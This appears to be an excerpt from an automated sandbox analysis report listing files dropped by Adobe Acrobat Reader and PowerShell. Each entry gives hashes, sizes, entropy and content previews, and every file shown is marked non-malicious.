SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfbPtdPeUkwRe9:YvXKX2SYpW7mGDV8Ukee9
MD5:	25DBF97F8FD901B866566155DD4C5C5D
SHA1:	2DA2D079D4D80CB17C0B09090E3E7A2ADB993E84
SHA-256:	39E4AF7AFF0D20E1DE4C7A2C16CA1598A47F8A03884AC4E4E3C0647947F92EA6
SHA-512:	A3792175878AAC14F7E072F6395601E4B00B5DD7F24458A6CFB7C60AE678FC98C4CD92D2135AC5A0F9F5B1D4B51A99A35B8F92EBD36892A9583F42202257D61B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.231270489426237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJf21rPeUkwRe9:YvXKX2SYpW7mG+16Ukee9
MD5:	A9D58E71A439D8D1C56A91B76D25C366
SHA1:	2C889AB89B45A10D7FCBA5DCB33DE8701814A94A
SHA-256:	0DE15E3196F31994157570A5A4DD2EDDC338FAC0A79C7FD745E21A93454D37D2
SHA-512:	47CA6A29151E9BFEDAE78DAFDFC2F53F8A6164944158BC876A4B6459CD06BF4BC8C6042C4C14E6A50F602CDE5650C577E61F336257A01BA8461FB3C407245F6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6502202158858035
Encrypted:	false
SSDEEP:	24:Yv6XUiDamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSpS:YvYzBgkDMUJUAh8cvMpS
MD5:	48E608B155B792EE1BEA5F6997DEC301
SHA1:	0718CD2DB65821B4BC959BCFE425B25A412B6E12
SHA-256:	61B7D874DA33F73C6A81E9EC2DD1AE34D2DD2DCFEEF56EFF9CB14D3D2222A6DC
SHA-512:	8FD32F1D3A71CFD3D34979F8FA801A07D8CB591FD205D473EA7454B03805B7CDB15FE25BD3FDC288EFFCC62254D98F76079B3596FDE7E65F70408AC433DC4C56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.204601843114146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJfshHHrPeUkwRe9:YvXKX2SYpW7mGUUUkee9
MD5:	3EDCC51237B8BC8D88BFAF3A98003B23
SHA1:	1C182E601728BCFC481A9A2090D77A933E474036
SHA-256:	412E0FEA40B2F5361D56521283E95875EB8D610357ECE6D63B5E79FBBA82A2AA
SHA-512:	BD17A27CD7FDDB8920D27EA0010157595F9BDEE2AE0E925FB8AAAA25FFA4C674682297A86B64A85E5809D83ED035E5C2FE44AA607782BC1E0B4730AE8677EA81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2179568193788315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQy7hAyKH7+FIbRI6XVW7+0Y4EeoAvJTqgFCrPeUkwRe9:YvXKX2SYpW7mGTq16Ukee9
MD5:	2776F6D958AD7164E5F3F1D3116FA34F
SHA1:	5B663BF637E9694242B7DE4232AF55F429A2F407
SHA-256:	E7233C8B792B9DA28CBBFE4B9C9C265A402553F501FEC48CA495B421F29857CA
SHA-512:	2D5CF10C7E0A10AF8BAABBD6510C8BBBA1DB08067E674BD66A5F6F501BB65379F2B71EE053191C5B7ABC2C320FCC2D95DF7807D209EC9167429C309C49CF7450
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bdab0a8a-3f3a-4a9c-83ad-422ee683f0c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736754624608,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136435293186427
Encrypted:	false
SSDEEP:	24:Yg+jaZBbvaytJh6GVHIGIHrptFjFv8j0SzvPBCH2y2LSdCDXwCZFG1Lo5nAh9GuK:YcFjagIGmsf5MT7wXwCZUUpAh9G
MD5:	ACE54BC9CC740C688AF437EB6F6536EC
SHA1:	0AE63DBCD4D2B92459D8F237F05B987AF379CEA9
SHA-256:	61D31ED512CD104BB1A4903F3BCCE83C9379B27245DE769FDD70471C24DCB16A
SHA-512:	0F8C9BEF304F69387D62FAA8BD38ED398EF33F0270D74A7BB58496DF78F1F29FE37CE45D48B3640A33AA9663E6051B49DF5DF9C2C3338AA1CED97F4C476EAA4D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"07707830360bdaaa9f217b895477ab01","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580608000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c9cc175f90c85d1ce41383feef5911b2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580608000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4bf7127c0b5bd94d834383f5d698789e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580608000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"88292f66a0c6a50efe94c0918c826d78","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580608000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1e7cf2aa97c22938b663bffe317cf4f6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580608000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4d3dbece2f6d65379616ecc17cdaa543","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.985201947167736
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spu84zJwtNBwtNbRZ6bRZ4x8F:TVl2GL7ms6ggOVpunzutYtp6PcQ
MD5:	93324E76D6308B32737C8E9151C57180
SHA1:	D041B5C27C9DDC7FFC4B0C8E968AB1F0EE6699C4
SHA-256:	2C360A23BE1B5B05C96C1250C9B59AFCF612781DD8EF13FC245DBFE8655B4A1D
SHA-512:	96E158A6BC9C015950BE661988C7F6AC79E35A1FE96A23FB33D5FC6CDA2D943B35938AFE2AAC329F1D8C9252EF05F582E512593FFFB9C0C053AC253EDA49B4A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.339026816212742
Encrypted:	false
SSDEEP:	24:7+t8IAD1RZKHs/Ds/Spu8PzJwtNBwtNbRZ6bRZWf1RZKuWqLBx/XYKQvGJF7urs3:7M8IGgOVpuAzutYtp6PM8qll2GL7ms3
MD5:	5BB8ED7E186D66DA9B8929465B1D9B26
SHA1:	1D6F01E815783B50528ADD6E2BD2C957DF9C5603
SHA-256:	3C032A4F4532B52C882C00D9761078F26592318FDB838CC944B44EA59F6ECE8F
SHA-512:	2DF8ED807D9F3BC6E5DD4534A845002204967A5572F4DB5669BE0F8378E1D2EF95502845F002D415A8A707C8B34F6AB5F549B02887E64123ECB138C5A999CE7C
Malicious:	false
Preview:	.... .c.....{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgndQ6AFuUe3QX1NPRcRvgCmTrKYyu:6a6TZ44ADEndbAFuZgXbC0+K
MD5:	0971B209C9EA437CB7B30CEBDE83960B
SHA1:	3F2C8F5C1A77A1B372E5CFD6E8DB93066FC73F39
SHA-256:	FA3EF280367FFEC9DD3838EE5B2A822B4158F26ECE6C146260F7F9A1EBF1FE63
SHA-512:	DE3DAAE9BEFD0FAF87756F1E0418A3803C0677B851EAC16B915B7EBA71DD2577C08CE397420E8006D3BF312B60352462F1420860F96BE87AEE6F222F6757FEC6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIcb496.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGlPH:Qw946cPbiOxDlbYnuRKdZt
MD5:	3B43F6C5BD6737AAEC6EBC9D28374659
SHA1:	2C22D03D6205A337BCA96E5A45AF64322B28ED4C
SHA-256:	696F26AF04C41D34F5062723D02F10855693651007C2D67C0563CB4132347EB3
SHA-512:	D50B756329232D63574061C782A253DC77C658364C45D13F9643D9EACD2B53AF434004725402A93E0E8D112152B0EC810FA9FD3A3AE16584A39E8611806258D3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.3.0.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0gd5sjm.f3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2cptavj.xai.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-30-02-860.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344153666638336
Encrypted:	false
SSDEEP:	384:KFJEaaLMBv00J/MXYmT2+pecn5isFJd72FuUi+0gwElvd+rOElA2EpEFAVbozAwO:kSc
MD5:	28F997F795B2494CCAAD7719FFD42794
SHA1:	920BB9F92EE5B85AFC960289C0B1DF28E2CC6039
SHA-256:	8B349E60C280CB718253547B60D4549B4838C1F424215D45214E296891B16192
SHA-512:	784A58A47C4024D2A1F1A603528001B1FD43F2EDE00B32EB21581FDF59D00F9847DF3CFD681EC272EB7927C215D8645509C6FBB5D8611781D998AF8A2EA83D91
Malicious:	false
Preview:	SessionID=24ced69c-d32a-45e5-81a4-3bf1d5a4392f.1736580602902 Timestamp=2025-01-11T02:30:02:902-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=24ced69c-d32a-45e5-81a4-3bf1d5a4392f.1736580602902 Timestamp=2025-01-11T02:30:02:903-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=24ced69c-d32a-45e5-81a4-3bf1d5a4392f.1736580602902 Timestamp=2025-01-11T02:30:02:903-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=24ced69c-d32a-45e5-81a4-3bf1d5a4392f.1736580602902 Timestamp=2025-01-11T02:30:02:903-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=24ced69c-d32a-45e5-81a4-3bf1d5a4392f.1736580602902 Timestamp=2025-01-11T02:30:02:904-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39079878452104
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbS:2
MD5:	6840C42FDC97EC0ECDE022725A97E99B
SHA1:	25AA6C55D72FB365DC8DAEE9F4B9F6633702326E
SHA-256:	26A69BFAFDC9F749EA78087CA05E7BEC398061544105A99D62C29D65627B0331
SHA-512:	487DA08A1EAE30A9F5B693D8199E1069DF918562B5520A69ABD5B4E9517B7133A130D50C4B962C0BEEB20F0E230B5BAF32C1C779320EC688153BA5857B7D1CA4
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1ffef0fd-c536-43ca-af9e-d30fa690dee6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\27465787-f044-4cdc-85eb-47ebf8fd7215.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\76f9066d-931f-4d0c-aa90-e621fa8f927f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
